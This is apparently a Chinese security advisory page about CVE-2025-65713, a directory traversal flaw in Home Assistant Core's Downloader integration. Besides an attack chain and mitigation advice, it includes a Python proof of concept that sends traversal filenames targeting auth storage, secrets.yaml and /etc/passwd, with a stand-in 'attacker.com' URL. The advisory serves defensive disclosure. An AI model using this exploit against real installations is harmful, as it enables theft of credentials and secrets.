IPBUF安全漏洞报告
English
CVE-2025-65713 CVSS 4.0 中危

Home Assistant Core Downloader组件目录遍历漏洞 (CVE-2025-65713)

披露日期: 2025-12-23

漏洞信息

漏洞编号
CVE-2025-65713
漏洞类型
目录遍历
CVSS评分
4.0 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Home Assistant Core

相关标签

目录遍历路径穿越Home Assistant CoreDownloader集成CVE-2025-65713文件遍历中危漏洞

漏洞概述

CVE-2025-65713是Home Assistant Core中的一个中危目录遍历漏洞。Home Assistant是一款开源的家庭自动化平台,广泛应用于智能家居领域。该漏洞存在于Home Assistant Core的Downloader集成组件中,在处理文件下载和路径拼接时未对用户输入进行充分的路径验证。攻击者可以通过构造特殊的文件路径请求,利用../等目录遍历字符访问服务器上的任意文件,包括配置文件、密钥、凭证等敏感信息。由于该漏洞的CVSS评分为4.0,属于中危级别,且攻击复杂度较低(本地攻击向量,无需认证和用户交互),对系统的机密性造成一定影响。漏洞影响范围涵盖Home Assistant Core 2025.8.0之前的所有版本。建议用户尽快升级到最新版本以修复此安全问题。

技术细节

Home Assistant Core的Downloader集成组件负责处理自动化任务中的文件下载功能。在实现过程中,该组件使用文件路径拼接来保存下载的文件,但未对用户提供的路径参数进行充分的验证和清理。具体来说,当组件接收到文件路径请求时,直接将用户输入与基础目录进行拼接,而没有过滤掉可能存在的路径遍历字符如../(父目录引用)或绝对路径前缀。攻击者可以利用这一缺陷构造类似../../etc/passwd或../../config/.storage的请求,绕过预期的文件访问范围,读取服务器上的任意文件内容。漏洞的技术根源在于缺乏对路径规范化和安全检查的实现。修复后的版本(v2025.8.0)增加了路径验证逻辑,确保所有文件操作都在允许的目录范围内进行。

攻击链分析

STEP 1
步骤1
攻击者获取Home Assistant Core的访问凭证(如API Token或长期访问令牌)
STEP 2
步骤2
攻击者通过API调用downloader.download服务,并构造包含路径遍历字符的文件名参数
STEP 3
步骤3
Downloader组件未验证路径,将攻击者指定的路径与基础目录拼接,导致访问任意文件
STEP 4
步骤4
攻击者成功读取敏感文件,如配置文件、认证凭证、存储的密钥等
STEP 5
步骤5
利用获取的敏感信息进一步实施横向移动或持久化攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-65713 PoC - Path Traversal in Home Assistant Downloader # Target: Home Assistant Core < v2025.8.0 def exploit(target_url, access_token): """ Exploit directory traversal in Home Assistant Downloader integration """ headers = { "Authorization": f"Bearer {access_token}", "Content-Type": "application/json" } # Path traversal payload to read sensitive files # Try to access configuration files or system files traversal_paths = [ "../../config/.storage/core.config_entries", "../../config/.storage/auth", "../../etc/passwd", "../../home/homeassistant/.homeassistant/secrets.yaml" ] for path in traversal_paths: payload = { "url": "http://attacker.com/fake", "filename": path } # The path traversal occurs during file path construction # Actual exploitation may vary based on the vulnerable endpoint print(f"Testing path: {path}") try: response = requests.post( f"{target_url}/api/services/downloader/download", json=payload, headers=headers, timeout=10 ) print(f"Status: {response.status_code}") except Exception as e: print(f"Error: {e}") # Usage # target = "http://home-assistant:8123" # token = "your_long_lived_access_token" # exploit(target, token)

影响范围

Home Assistant Core < v2025.8.0

防御指南

临时缓解措施
在等待官方修复期间,可采取以下临时缓解措施:1)确保Home Assistant实例不暴露在公网,仅通过内网访问;2)审查并限制所有API访问令牌权限,遵循最小权限原则;3)启用Home Assistant的日志审计功能,监控可疑的文件操作请求;4)考虑暂时禁用Downloader集成组件以减少攻击面;5)部署Web应用防火墙(WAF)过滤包含路径遍历特征的请求(如../、..\等)。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表